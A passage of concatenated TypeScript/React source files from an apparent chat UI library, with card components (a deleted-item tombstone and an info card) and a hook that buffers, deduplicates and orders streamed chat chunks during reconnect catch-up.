name?: string }>\n  }\n  return undefined\n}\n\n/**\n * Resolve `{href, targetPlatform}` for a freshly fetched card row, or `null`\n * when the host wired no seam (the caller then keeps the card unlinked, which\n * is the pre-existing behavior).\n */\nexport function resolveFetchedCardHref({\n  contentRefType,\n  id,\n  item,\n  composeContentUrl,\n}: FetchedCardHrefInput): { href: string; targetPlatform: string | null } | null {\n  if (!composeContentUrl || !contentRefType || !id) return null\n  const canonicalType = canonicalContentRefType(contentRefType)\n  return composeContentUrl({\n    // The card registry keys some entries by the legacy rail vocabulary\n    // (`blog_post_existing`) because that is what `buildListUrl` expects.\n    // The seam speaks the CANONICAL vocabulary — a host's `hostedTypes` /\n    // `overrides` are written against `blog_post`, so an un-aliased type\n    // misses them all and lands on `<origin>/blog_post_existing/<slug>`.\n    type: canonicalType,\n    identifier: id,\n    slug: readSlug(item),\n    platforms: readPlatforms(item, canonicalType),\n  })\n}\n","'use client'\n\n/**\n * Deleted Data Card — generic TOMBSTONE placeholder for an entity a chat\n * action removed (ClickUp task today; any deletable entity tomorrow).\n *\n * Follows the established tombstone pattern (Teams / Slack \"This message\n * was deleted\"): keep a visible, muted placeholder so the conversation\n * thread's integrity holds — the reader sees WHAT was removed and that\n * it may be recoverable, instead of a dead link or a silent gap.\n *\n * PURE PRESENTATION from the ChatRef — no fetch, no navigation (the\n * underlying entity no longer resolves anywhere). Ref contract:\n *   - `title`                    — the deleted entity's display title\n *   - `metadata.entity_label`    — what kind of thing it was (\"ClickUp task\")\n *   - `metadata.recovery_note`   — optional recoverability copy\n *     (\"Recoverable from the ClickUp Trash for 30 days\")\n */\n\nimport React from 'react'\nimport { Trash2 } from 'lucide-react'\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\n\nexport interface DeletedDataCardProps {\n  title?: string | null\n  /** What kind of entity was deleted (\"ClickUp task\", \"HubSpot ticket\"). */\n  entityLabel?: string | null\n  /** Recoverability copy (\"Recoverable from the ClickUp Trash for 30 days\"). */\n  recoveryNote?: string | null\n  className?: string\n}\n\nexport function DeletedDataCard({ title, entityLabel, recoveryNote, className }: DeletedDataCardProps) {\n  const label = entityLabel || 'Item'\n  return (\n    <div className={`${COMPACT_CARD_OUTER_STATIC} opacity-70 ${className ?? ''}`}>\n      <div className={COMPACT_CARD_ICON_SLOT}>\n        <Trash2 className=\"h-4 w-4 text-ods-text-secondary\" />\n      </div>\n      <div className={COMPACT_CARD_TEXT_COL}>\n        <div className={COMPACT_CARD_TITLE_ROW}>\n          <span className={`${COMPACT_CARD_TITLE} line-through text-ods-text-secondary`}>\n            {title || `Deleted ${label.toLowerCase()}`}\n          </span>\n        </div>\n        <div className={COMPACT_CARD_META_ROW}>\n          <span className=\"text-ods-text-secondary\">\n            {label} deleted{recoveryNote ? ` · ${recoveryNote}` : ''}\n          </span>\n        </div>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { tagVariants, type TagProps } from '../ui/tag'\nimport { ActionsMenuDropdown, type ActionsMenuGroup } from '../ui/actions-menu'\nimport { Ellipsis01Icon } from '../icons-v2-generated'\nimport { getFirstLastInitials } from '../../utils/format'\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** A coloured status pill rendered to the right of the title/description. */\nexport interface MingoInfoCardStatus {\n  /** Pill text — rendered uppercase via the `success`/`warning`/… Tag palette. */\n  label: React.ReactNode\n  /** Tag colour. Defaults to `success` (green) to match the Figma sample. */\n  variant?: TagProps['variant']\n}\n\nexport interface MingoInfoCardProps {\n  /** Card title — DM Sans Medium 18px (`text-h4`), white. Truncates on overflow. */\n  title: React.ReactNode\n  /** Optional secondary line below the title — 14px (`text-h6`), grey. Truncates. */\n  description?: React.ReactNode\n  /**\n   * Leading 40px avatar image (`img=\"image\"` variant in Figma). Takes\n   * precedence over `icon` when both are supplied. Falls back to initials\n   * derived from `imageAlt` if the image fails to load.\n   */\n  imageSrc?: string\n  /** Alt text / initials fallback for `imageSrc`. */\n  imageAlt?: string\n  /**\n   * Leading 24px glyph rendered inside a 40px box (`img=\"icon\"` variant).\n   * Ignored when `imageSrc` is set. Pass an `icons-v2-generated` icon — it\n   * inherits `currentColor` from the box's `text-ods-text-primary`.\n   */\n  icon?: React.ReactNode\n  /** Optional status pill (e.g. `{ label: 'Online' }`). */\n  status?: MingoInfoCardStatus\n  /**\n   * Overflow-menu groups. When non-empty, a trailing \"⋯\" button opens an\n   * `ActionsMenuDropdown`. Omit to hide the button entirely.\n   */\n  menuGroups?: ReadonlyArray<ActionsMenuGroup>\n  /** Aria-label for the \"⋯\" trigger. Defaults to `\"More actions\"`. */\n  menuAriaLabel?: string\n  /**\n   * Renders the main content region as an `<a>` (for navigation) instead of a\n   * `<button>`. Takes precedence over `onClick`. The \"⋯\" button stays a sibling\n   * of the anchor — not nested inside it — so the markup stays valid.\n   */\n  anchorProps?: MingoInfoCardAnchorProps\n  /**\n   * Click handler for the main content region. When set (and `anchorProps` is\n   * not), the title/description region becomes a `<button>` with hover/focus\n   * affordances. The \"⋯\" button keeps its own independent click target.\n   */\n  onClick?: () => void\n  /** Appended to the root element. */\n  className?: string\n}\n\n/** Anchor-prop bundle for the content region — mirrors the `*AnchorProps`\n *  shape the chat entity-cards pass (`{ href, target?, rel?, onClick? }`). */\nexport interface MingoInfoCardAnchorProps {\n  href: string\n  target?: '_blank'\n  rel?: string\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void\n}\n\n// =============================================================================\n// Span-only markup\n//\n// This card renders inline inside chat message paragraphs (the `[card://]`\n// marker is replaced in-place, landing the card inside a `<p>`). To stay\n// valid there, EVERY element is phrasing content — `<span>` / `<a>` / `<img>`\n// / `<button>` only, never `<div>`. Layout comes from `display` utilities, so\n// the visual is identical to a block card.\n// =============================================================================\n\n/** 40px leading media — avatar image (with initials fallback) or boxed glyph. */\nfunction CardMedia({\n  imageSrc,\n  imageAlt,\n  icon,\n}: Pick<MingoInfoCardProps, 'imageSrc' | 'imageAlt' | 'icon'>) {\n  if (imageSrc) {\n    return (\n      <span className=\"relative block size-10 shrink-0\">\n        {/* Initials fallback sits BEHIND the image. The image is the framed\n            element itself — `rounded-sm` + `border` live on the `<img>` so the\n            picture and its 1px frame share one radius (no corner gap from\n            clipping a separate absolutely-positioned child). On a 404 the\n            image's `onError` hides it and the initials show through. */}\n        <span className=\"absolute inset-0 flex items-center justify-center rounded-sm border border-ods-border bg-ods-bg text-h6 text-ods-text-primary\">\n          {getFirstLastInitials(imageAlt) || '?'}\n        </span>\n        <img\n          src={imageSrc}\n          alt={imageAlt || ''}\n          className=\"relative block size-10 rounded-sm border border-ods-border object-cover\"\n          onError={(e) => {\n            e.currentTarget.style.display = 'none'\n          }}\n        />\n      </span>\n    )\n  }\n  if (icon) {\n    return (\n      <span className=\"flex size-10 shrink-0 items-center justify-center overflow-hidden rounded-md border border-ods-border bg-ods-bg text-ods-text-secondary\">\n        <span className=\"flex size-6 items-center justify-center\">{icon}</span>\n      </span>\n    )\n  }\n  return null\n}\n\n/** Loading placeholder matching `MingoInfoCard` geometry (40px media box,\n *  title + description lines, trailing pill slot). Span-only for the same\n *  inside-`<p>` validity reason as the card itself. */\nexport function MingoInfoCardSkeleton({ className }: { className?: string }) {\n  return (\n    <span\n      className={cn(\n        'flex w-full animate-pulse items-center gap-[var(--spacing-system-s)] overflow-hidden rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-s)]',\n        className,\n      )}\n    >\n      <span className=\"block size-10 shrink-0 rounded-md border border-ods-border bg-ods-bg\" />\n      <span className=\"flex min-w-0 flex-1 flex-col justify-center gap-1.5\">\n        <span className=\"block h-4 w-1/2 rounded bg-ods-bg\" />\n        <span className=\"block h-3 w-3/4 rounded bg-ods-bg/60\" />\n      </span>\n      <span className=\"block h-5 w-16 shrink-0 rounded bg-ods-bg/60\" />\n    </span>\n  )\n}\n\nexport function MingoInfoCard({\n  title,\n  description,\n  imageSrc,\n  imageAlt,\n  icon,\n  status,\n  menuGroups,\n  menuAriaLabel = 'More actions',\n  anchorProps,\n  onClick,\n  className,\n}: MingoInfoCardProps) {\n  const hasMedia = !!imageSrc || !!icon\n  const hasMenu = !!menuGroups && menuGroups.length > 0\n  const isAnchor = !!anchorProps\n  const isInteractive = isAnchor || !!onClick\n\n  // The content region: leading media, text column, status pill. Owns the\n  // `border-r` divider that sits before the \"⋯\" button.\n  const content = (\n    <>\n      {hasMedia && (\n        <CardMedia imageSrc={imageSrc} imageAlt={imageAlt} icon={icon} />\n      )}\n      <span className=\"flex min-w-0 flex-1 flex-col justify-center\">\n        <span className=\"truncate text-h4 text-ods-text-primary\">\n          {title}\n        </span>\n        {description ? (\n          <span className=\"truncate text-h6 text-ods-text-secondary\">\n            {description}\n          </span>\n        ) : null}\n      </span>\n      {status ? (\n        // Reuse the shared Tag palette (single source of truth for colours)\n        // without rendering Tag's `<div>` — span-only for `<p>` validity.\n        <span className={cn(tagVariants({ variant: status.variant ?? 'success' }), 'shrink-0')}>\n          <span className=\"truncate uppercase tracking-[-0.28px]\">{status.label}</span>\n        </span>\n      ) : null}\n    </>\n  )\n\n  const contentClass = cn(\n    'flex min-w-0 flex-1 items-center gap-[var(--spacing-system-s)] overflow-hidden p-[var(--spacing-system-s)] text-left',\n    hasMenu && 'border-r border-ods-border',\n    isInteractive &&\n      'transition-colors hover:bg-ods-bg-hover active:bg-ods-bg-active focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent cursor-pointer',\n  )\n\n  return (\n    <span\n      className={cn(\n        'flex w-full items-center overflow-hidden rounded-md border border-ods-border bg-ods-card',\n        className,\n      )}\n    >\n      {isAnchor ? (\n        <a {...anchorProps} className={cn(contentClass, 'no-underline')}>\n          {content}\n        </a>\n      ) : onClick ? (\n        <button type=\"button\" onClick={onClick} className={contentClass}>\n          {content}\n        </button>\n      ) : (\n        <span className={contentClass}>{content}</span>\n      )}\n\n      {hasMenu && (\n        <ActionsMenuDropdown\n          groups={menuGroups as ActionsMenuGroup[]}\n          triggerAriaLabel={menuAriaLabel}\n          onCloseAutoFocus={(e) => e.preventDefault()}\n          customTrigger={\n            <button\n              type=\"button\"\n              aria-label={menuAriaLabel}\n              // Press feedback mirrors `Button` (transparent variant):\n              // `hover:bg-ods-bg-hover` → `active:bg-ods-bg-active`.\n              className=\"flex w-[56px] md:w-[68px] shrink-0 items-center justify-center self-stretch text-ods-text-secondary transition-colors hover:bg-ods-bg-hover hover:text-ods-text-primary active:bg-ods-bg-active active:text-ods-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent\"\n            >\n              <Ellipsis01Icon size={24} />\n            </button>\n          }\n        />\n      )}\n    </span>\n  )\n}\n","'use client'\n\nimport { useCallback, useRef } from 'react'\nimport {\n  type ChunkData,\n  type BufferedChunk,\n  type NatsMessageType,\n  type ChatType,\n  type UseChunkCatchupOptions,\n  type UseChunkCatchupReturn,\n  CHAT_TYPE,\n  MESSAGE_TYPE,\n} from '../types'\n\n/**\n * Creates a unique key for sequence tracking\n */\nfunction makeSeqKey(messageType: NatsMessageType, chunkType: string, sequenceId: number): string {\n  return `${messageType}:${chunkType}:${sequenceId}`\n}\n\n/**\n * Creates a unique key for batch deduplication\n */\nfunction makeBatchDedupKey(item: BufferedChunk): string {\n  const seq = item.chunk.sequenceId ?? 'na'\n  const type = typeof item.chunk.type === 'string' ? item.chunk.type : 'na'\n  const text = typeof item.chunk.text === 'string' ? item.chunk.text : ''\n  const integratedToolType = typeof item.chunk.integratedToolType === 'string' ? item.chunk.integratedToolType : ''\n  const toolFunction = typeof item.chunk.toolFunction === 'string' ? item.chunk.toolFunction : ''\n  const approvalRequestId =\n    typeof item.chunk.approvalRequestId === 'string'\n      ? item.chunk.approvalRequestId\n      : typeof item.chunk.approval_request_id === 'string'\n        ? item.chunk.approval_request_id\n        : ''\n\n  return `${item.messageType}:${seq}:${type}:${text}:${integratedToolType}:${toolFunction}:${approvalRequestId}`\n}\n\n/**\n * Determines the message type for a given chat type\n */\nfunction getChatTypeMessageType(chatType: ChatType): NatsMessageType {\n  return chatType === CHAT_TYPE.ADMIN ? 'admin-message' : 'message'\n}\n\n/**\n * Hook for managing chunk catchup during dialog loading.\n * \n * This hook handles:\n * - Buffering NATS chunks that arrive during catchup\n * - Fetching historical chunks from the API\n * - Deduplicating and ordering chunks\n * - Processing chunks in the correct order\n */\nexport function useChunkCatchup({\n  dialogId,\n  onChunkReceived,\n  chatTypes = [CHAT_TYPE.CLIENT],\n  fetchChunks,\n}: UseChunkCatchupOptions): UseChunkCatchupReturn {\n  const processedSequenceKeys = useRef<Set<string>>(new Set())\n  const lastSequenceId = useRef<number | null>(null)\n  // Per-messageType resume checkpoints. The legacy Redis transport keeps an\n  // INDEPENDENT sequence counter per (dialog, chatType), so resuming every\n  // stream from the single global `lastSequenceId` would permanently skip\n  // the slower stream's newer chunks (one stream at seq 100, the other at\n  // 20 → resuming both from 100 loses the second stream's 21+).\n  const lastSequenceIdByType = useRef<Map<NatsMessageType, number>>(new Map())\n\n  const fetchingInProgress = useRef(false)\n  const lastFetchParams = useRef<{ dialogId: string; fromSequenceId?: number | null } | null>(null)\n  // A catch-up requested while another fetch is in flight (double reconnect,\n  // reconnect during the initial catchup). Queued instead of dropped: the old\n  // behaviour returned early and the stale fetch's completion marked catchup\n  // done, so the new gap was never fetched — a permanent transcript hole.\n  // Scoped to its originating dialog — a rerun must never apply one dialog's\n  // offset to another after a switch.\n  const pendingCatchupRef = useRef<{ dialogId: string; fromSequenceId?: number | null } | null>(null)\n\n  // Buffer for NATS chunks that arrive during catchup\n  const chunkBuffer = useRef<BufferedChunk[]>([])\n  const bufferUntilInitialCatchupComplete = useRef(false)\n  const hasCompletedInitialCatchup = useRef(false)\n\n  const dialogIdRef = useRef(dialogId)\n  dialogIdRef.current = dialogId\n  const chatTypesRef = useRef(chatTypes)\n  chatTypesRef.current = chatTypes\n  const fetchChunksRef = useRef(fetchChunks)\n  fetchChunksRef.current = fetchChunks\n  const onChunkReceivedRef = useRef(onChunkReceived)\n  onChunkReceivedRef.current = onChunkReceived\n\n  const processChunk = useCallback((\n    chunk: ChunkData,\n    messageType: NatsMessageType,\n    forceProcess: boolean = false\n  ): boolean => {\n    if (bufferUntilInitialCatchupComplete.current && !forceProcess) {\n      chunkBuffer.current.push({ chunk, messageType })\n      return true\n    }\n\n    if (chunk.sequenceId !== undefined && chunk.sequenceId !== null) {\n      const chunkType = typeof chunk.type === 'string' ? chunk.type : ''\n      const key = makeSeqKey(messageType, chunkType, chunk.sequenceId)\n      // A live chunk can also be in the catchup fetch result (published just\n      // before the fetch resolved, delivered just after the flush). Without\n      // this check the live path only RECORDED keys and never consulted\n      // them, so the overlap rendered twice (duplicated text / tool cards).\n      if (processedSequenceKeys.current.has(key)) return true\n      processedSequenceKeys.current.add(key)\n      lastSequenceId.current = chunk.sequenceId\n      const prevTypeSeq = lastSequenceIdByType.current.get(messageType)\n      if (prevTypeSeq === undefined || chunk.sequenceId > prevTypeSeq) {\n        lastSequenceIdByType.current.set(messageType, chunk.sequenceId)\n      }\n    }\n\n    onChunkReceivedRef.current(chunk, messageType)\n    return true\n  }, [])\n\n  /**\n   * Flush buffered realtime chunks after catchup is complete\n   */\n  const flushBufferedRealtimeChunks = useCallback(() => {\n    if (chunkBuffer.current.length === 0) return\n    const buffered = [...chunkBuffer.current]\n    chunkBuffer.current = []\n\n    // Chunks WITHOUT a sequence id are live deliveries — the newest events.\n    // Sorting them as seq 0 (the old behaviour) pushed them BEFORE history.\n    buffered.sort((a, b) => {\n      const seqA = a.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER\n      const seqB = b.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER\n      return seqA - seqB\n    })\n\n    buffered.forEach(({ chunk, messageType }) => {\n      processChunk(chunk, messageType, true)\n    })\n  }, [processChunk])\n\n  /**\n   * Fetch and process chunks from the API\n   */\n  const catchUpChunks = useCallback(async (fromSequenceId?: number | null) => {\n    const dialogId = dialogIdRef.current\n    const chatTypes = chatTypesRef.current\n    const fetchChunks = fetchChunksRef.current\n\n    if (!dialogId) {\n      return\n    }\n\n    if (hasCompletedInitialCatchup.current) {\n      // Safety valve: never leave the buffering flag stuck on a completed\n      // catchup — buffered live chunks would otherwise queue forever and the\n      // dialog would look frozen.\n      if (bufferUntilInitialCatchupComplete.current) {\n        bufferUntilInitialCatchupComplete.current = false\n        flushBufferedRealtimeChunks()\n      }\n      return\n    }\n\n    if (fetchingInProgress.current) {\n      // Queue instead of dropping — the in-flight fetch's finally block\n      // re-runs catch-up with these params once it settles. An explicit\n      // fromSequenceId wins; a queued INITIAL call (undefined) falls back to\n      // the last seq seen so far (null on a fresh dialog → backend returns\n      // everything, same as the original undefined semantics).\n      pendingCatchupRef.current = { dialogId, fromSequenceId: fromSequenceId ?? lastSequenceId.current }\n      return\n    }\n\n    if (lastFetchParams.current &&\n        lastFetchParams.current.dialogId === dialogId &&\n        lastFetchParams.current.fromSequenceId === fromSequenceId) {\n      return\n    }\n\n    if (!fetchChunks) {\n      bufferUntilInitialCatchupComplete.current = false\n      hasCompletedInitialCatchup.current = true\n      flushBufferedRealtimeChunks()\n      return\n    }\n\n    fetchingInProgress.current = true\n    lastFetchParams.current = { dialogId, fromSequenceId }\n\n    try {\n      // Fetch chunks for all configured chat types\n      const chunkPromises = chatTypes.map(async (chatType) => {\n        try {\n          // Resume each stream from ITS OWN checkpoint: the legacy Redis\n          // transport numbers each (dialog, chatType) stream independently,\n          // so passing one global offset to every type would skip the slower\n          // stream's newer chunks. `undefined` (initial load) still fetches\n          // everything; a type we've never seen resumes from null (= all\n          // unsaved chunks) rather than borrowing another stream's offset.\n          const typeFromSequenceId =\n            fromSequenceId === undefined\n              ? undefined\n              : (lastSequenceIdByType.current.get(getChatTypeMessageType(chatType)) ?? null)\n          const chunks = await fetchChunks(dialogId, chatType, typeFromSequenceId)\n          const messageType = getChatTypeMessageType(chatType)\n          return chunks.map(chunk => ({ chunk, messageType }))\n        } catch (error) {\n          console.error(`Failed to fetch ${chatType} chunks:`, error)\n          return []\n        }\n      })\n      \n      const allChunkResults = await Promise.all(chunkPromises)\n\n      // STALENESS GATE — the FIRST thing after the await, because everything\n      // below this line is bound to the CURRENTLY active dialog, not to the one\n      // this fetch was issued for:\n      //   - `onChunkReceivedRef.current` is reassigned every render, so it\n      //     routes into whichever dialog's reducer is mounted now;\n      //   - `processedSequenceKeys` / `lastSequenceId` / `lastSequenceIdByType`\n      //     were re-armed by `resetChunkTracking` for the new dialog;\n      //   - `chunkBuffer` holds the NEW dialog's buffered live deliveries;\n      //   - `hasCompletedInitialCatchup` / `bufferUntilInitialCatchupComplete`\n      //     govern the NEW dialog's buffering window.\n      // So a fetch that resolved after a dialog switch used to write dialog A's\n      // transcript into dialog B AND advance B's seq cursor to A's JetStream\n      // sequence — and because the reducer drops any event at or below\n      // `lastAppliedSeq`, an unrelated (higher) position permanently discards\n      // B's own live chunks. Switching dialogs mid-fetch is the ordinary\n      // interaction, not an edge case.\n      //\n      // The `finally` below already handles stale bookkeeping correctly (it\n      // keeps the new dialog's cycle intact and only discards a pending entry\n      // belonging to THIS dialog); it still runs on this early return. The\n      // guard could not live there — by then the chunks had already been\n      // applied.\n      if (dialogId !== dialogIdRef.current) return\n\n      const allCatchupChunks: BufferedChunk[] = allChunkResults.flat()\n\n      if (allCatchupChunks.length === 0) {\n        flushBufferedRealtimeChunks()\n        bufferUntilInitialCatchupComplete.current = false\n        hasCompletedInitialCatchup.current = true\n        return\n      }\n      \n      // Combine catchup chunks with buffered NATS chunks\n      const bufferedNatsChunks = [...chunkBuffer.current]\n      chunkBuffer.current = []\n      const allChunks = [...allCatchupChunks, ...bufferedNatsChunks]\n      \n      // Sort by sequence ID. Chunks without one are buffered live deliveries\n      // (the newest events) — sort them AFTER history, not before it.\n      allChunks.sort((a, b) => {\n        const seqA = a.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER\n        const seqB = b.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER\n        return seqA - seqB\n      })\n\n      // Deduplicate — only chunks that carry a sequence id. Id-less live\n      // chunks get no key: two identical streaming deltas (\"the \", \"yes\")\n      // are distinct content, and collapsing them (the old behaviour, where\n      // the key degraded to type+text) silently dropped text.\n      const uniqueAllChunks: BufferedChunk[] = []\n      const seenInBatch = new Set<string>()\n      for (const item of allChunks) {\n        const hasSeq = item.chunk.sequenceId !== undefined && item.chunk.sequenceId !== null\n        if (hasSeq) {\n          const k = makeBatchDedupKey(item)\n          if (seenInBatch.has(k)) continue\n          seenInBatch.add(k)\n        }\n        uniqueAllChunks.push(item)\n      }\n      \n      // Id-less chunks are buffered live deliveries (newer than anything the\n      // fetch returned) — the boundary filters must KEEP them, not drop them.\n      const hasNoSeq = (item: BufferedChunk) =>\n        item.chunk.sequenceId === undefined || item.chunk.sequenceId === null\n\n      // Boundary detection runs PER messageType. In the legacy Redis\n      // transport each (dialog, chatType) stream has its OWN independent\n      // sequence counter, so a MESSAGE_END boundary found in one stream must\n      // never truncate the other stream's chunks (tool/approval chunks of an\n      // admin mirror used to vanish this way). With JetStream's global seqs\n      // the per-type grouping is still correct — it just partitions the same\n      // ordered list.\n      const byType = new Map<NatsMessageType, BufferedChunk[]>()\n      for (const item of uniqueAllChunks) {\n        const list = byType.get(item.messageType)\n        if (list) list.push(item)\n        else byType.set(item.messageType, [item])\n      }\n\n      const chunksToProcess: BufferedChunk[] = []\n      for (const items of byType.values()) {\n        // Find the last complete message boundary within this stream.\n        let lastMessageStartSeqId: number | null = null\n        let lastMessageEndSeqId: number | null = null\n\n        for (let i = items.length - 1; i >= 0; i--) {\n          const seq = items[i].chunk.sequenceId\n          if (items[i].chunk.type === MESSAGE_TYPE.MESSAGE_END && seq !== undefined && seq !== null) {\n            lastMessageEndSeqId = seq\n            break\n          }\n        }\n\n        for (let i = items.length - 1; i >= 0; i--) {\n          const chunk = items[i].chunk\n          const seq = chunk.sequenceId\n          if (chunk.type === MESSAGE_TYPE.MESSAGE_START && seq !== undefined && seq !== null) {\n            if (lastMessageEndSeqId === null || seq > lastMessageEndSeqId) {\n              lastMessageStartSeqId = seq\n              break\n            }\n          }\n        }\n\n        if (lastMessageStartSeqId !== null) {\n          // Process from the last incomplete message\n          chunksToProcess.push(\n            ...items.filter(item => hasNoSeq(item) || item.chunk.sequenceId! >= lastMessageStartSeqId!),\n          )\n        } else if (lastMessageEndSeqId !== null) {\n          // Process only after the last complete message\n          chunksToProcess.push(\n            ...items.filter(item => hasNoSeq(item) || item.chunk.sequenceId! > lastMessageEndSeqId!),\n          )\n        } else {\n          // Process all\n          chunksToProcess.push(...items)\n        }\n      }\n\n      // Restore cross-stream order (concatenation above grouped by type).\n      // Stable sort keeps per-type order; JetStream seqs interleave globally,\n      // Redis-mode cross-type order is inherently undefined either way.\n      chunksToProcess.sort((a, b) => {\n        const seqA = a.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER\n        const seqB = b.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER\n        return seqA - seqB\n      })\n      \n      // Process the chunks\n      chunksToProcess.forEach(({ chunk, messageType }) => {\n        if (chunk.sequenceId !== undefined && chunk.sequenceId !== null) {\n          const chunkType = typeof chunk.type === 'string' ? chunk.type : ''\n          const key = makeSeqKey(messageType, chunkType, chunk.sequenceId)\n          if (processedSequenceKeys.current.has(key)) return\n          processedSequenceKeys.current.add(key)\n          lastSequenceId.current = chunk.sequenceId\n          const prevTypeSeq = lastSequenceIdByType.current.get(messageType)\n          if (prevTypeSeq === undefined || chunk.sequenceId > prevTypeSeq) {\n            lastSequenceIdByType.current.set(messageType, chunk.sequenceId)\n          }\n        }\n        onChunkReceivedRef.current(chunk, messageType)\n      })\n\n      bufferUntilInitialCatchupComplete.current = false\n      hasCompletedInitialCatchup.current = true\n    } catch (error) {\n      console.error('Error during chunk catchup:', error)\n    } finally {\n      // A fetch whose dialog is no longer active must not touch the NEW\n      // dialog's cycle state — `resetChunkTracking` already re-armed the\n      // flags for it, and clearing `fetchingInProgress` / finalizing the\n      // buffer here would corrupt the new dialog's in-flight catch-up.\n      // That includes the pending queue: only discard an entry that belongs\n      // to THIS stale dialog — a reconnect during the new dialog's initial\n      // fetch queues an entry for the new dialog, and wiping it here would\n      // silently drop that gap's re-fetch (permanent transcript hole).\n      if (dialogId !== dialogIdRef.current) {\n        if (pendingCatchupRef.current?.dialogId === dialogId) {\n          pendingCatchupRef.current = null\n        }\n      } else {\n        fetchingInProgress.current = false\n\n        // A reset was requested mid-fetch: re-arm and re-run with the queued\n        // params instead of finalizing on this (stale) fetch's results. The\n        // success path above may have already flipped the completion flags —\n        // reset them so the re-run isn't rejected by its own guards. A\n        // pending entry from a DIFFERENT dialog is discarded, never replayed\n        // against the current one.\n        //\n        // KNOWN LIMIT: the stale fetch may already have processed (and\n        // flushed) chunks NEWER than the queued gap, so on an extreme\n        // double-flap the gap's chunks can render after later ones — order\n        // skew inside the bubble, but no content loss (strictly better than\n        // the pre-fix permanent hole). Perfect ordering would require holding\n        // the stale fetch's flush until the re-run completes, which isn't\n        // worth the complexity for this corner.\n        const pending = pendingCatchupRef.current\n        if (pending) {\n          pendingCatchupRef.current = null\n          if (pending.dialogId === dialogId) {\n            hasCompletedInitialCatchup.current = false\n            lastFetchParams.current = null\n            bufferUntilInitialCatchupComplete.current = true\n            // AWAIT the re-run (not fire-and-forget): callers chain their own\n            // finally on this promise — the adapter lowers its onAgentBusy\n            // suppression there, and a detached re-run would replay a dead\n            // tail's EXECUTING chunk with suppression already off, locking\n            // the composer with no MESSAGE_END ever coming.\n            try {\n              await catchUpChunksRef.current?.(pending.fromSequenceId)\n            } catch (rerunError) {\n              console.error('Queued catch-up re-run failed:', rerunError)\n            }\n          } else if (bufferUntilInitialCatchupComplete.current) {\n            bufferUntilInitialCatchupComplete.current = false\n            hasCompletedInitialCatchup.current = true\n            flushBufferedRealtimeChunks()\n          }\n        } else if (bufferUntilInitialCatchupComplete.current) {\n          bufferUntilInitialCatchupComplete.current = false\n          hasCompletedInitialCatchup.current = true\n          flushBufferedRealtimeChunks()\n        }\n      }\n    }\n  }, [flushBufferedRealtimeChunks])\n\n  // Self-reference for the queued re-run above (the callback can't name\n  // itself inside its own useCallback initializer).\n  const catchUpChunksRef = useRef<typeof catchUpChunks | null>(null)\n  catchUpChunksRef.current = catchUpChunks\n\n  /**\n   * Reset all tracking state\n   */\n  const resetChunkTracking = useCallback(() => {\n    processedSequenceKeys.current.clear()\n    lastSequenceId.current = null\n    lastSequenceIdByType.current.clear()\n    fetchingInProgress.current = false\n    lastFetchParams.current = null\n    pendingCatchupRef.current = null\n    chunkBuffer.current = []\n    bufferUntilInitialCatchupComplete.current = false\n    hasCompletedInitialCatchup.current = false\n  }, [])\n\n  /**\n   * Start buffering NATS chunks for initial catchup\n   */\n  const startInitialBuffering = useCallback(() => {\n    // Idempotent: a second reconnect while a back-fill is already buffering\n    // (its history refetch still awaiting) must NOT clear the live chunks\n    // collected so far — only a fresh start owns the buffer.\n    if (!bufferUntilInitialCatchupComplete.current) {\n      chunkBuffer.current = []\n      bufferUntilInitialCatchupComplete.current = true\n    }\n    hasCompletedInitialCatchup.current = false\n  }, [])\n\n  /**\n   * Check if buffering is currently active\n   */\n  const isBufferingActive = useCallback(() => bufferUntilInitialCatchupComplete.current, [])\n\n  /**\n   * Reset internal guards and re-run catch-up from the last known sequence ID.\n   * Use after reconnection to fetch any messages missed during the disconnect.\n   */\n  const resetAndCatchUp = useCallback(async () => {\n    if (!dialogIdRef.current) return\n    const fromSeq = lastSequenceId.current\n    hasCompletedInitialCatchup.current = false\n    lastFetchParams.current = null\n    if (!bufferUntilInitialCatchupComplete.current) {\n      // Starting buffering fresh — drop stale leftovers. When the CALLER\n      // already armed buffering (e.g. `startInitialBuffering()` before an\n      // async history refetch on reconnect), KEEP the chunks it collected:\n      // clearing here would silently discard everything delivered during\n      // that await.\n      chunkBuffer.current = []\n      bufferUntilInitialCatchupComplete.current = true\n    }\n    await catchUpChunks(fromSeq)\n  }, [catchUpChunks])\n\n  return {\n    catchUpChunks,\n    processChunk,\n    resetChunkTracking,\n    startInitialBuffering,\n    isBufferingActive,\n    processedCount: processedSequenceKeys.current.size,\n    resetAndCatchUp,\n  }\n}\n","'use client'\n\n/**\n * Playback clock for {@link buildStreamFrames}: advance through pre-built\n * scripted frames like a live chat stream — each frame holds for its own\n * `delayMs`, then the next reveals, parking on the last. Surface-agnostic: the\n * caller maps `frame.messages` to its own chat shape and reads `frame.phase` /\n * `frame.typing`.\n *\n * `resetKey` restarts playback from the top when a NEW conversation is selected\n * (identity change) — NOT when the SAME conversation grows (e.g. an Approve\n * appends its continuation), which must resume from where it paused. Because the\n * frame list's shared prefix is deterministic, keeping the index across a grow\n * resumes seamlessly into the appended frames.\n *\n * `prefers-reduced-motion` (or `enabled === false`) jumps straight to the final\n * frame (everything revealed, idle).\n */\n\nimport { useEffect, useState } from 'react'\nimport type { StreamFrame } from '../utils/scripted-stream'\n\nconst EMPTY_FRAME: StreamFrame = { messages: [], phase: 'idle', typing: false, delayMs: 0 }\n\nfunction prefersReducedMotion(): boolean {\n  return typeof window !== 'undefined' && window.matchMedia?.('(prefers-reduced-motion: reduce)').matches === true\n}\n\nexport function useScriptedStream(frames: StreamFrame[], resetKey: unknown, enabled = true): 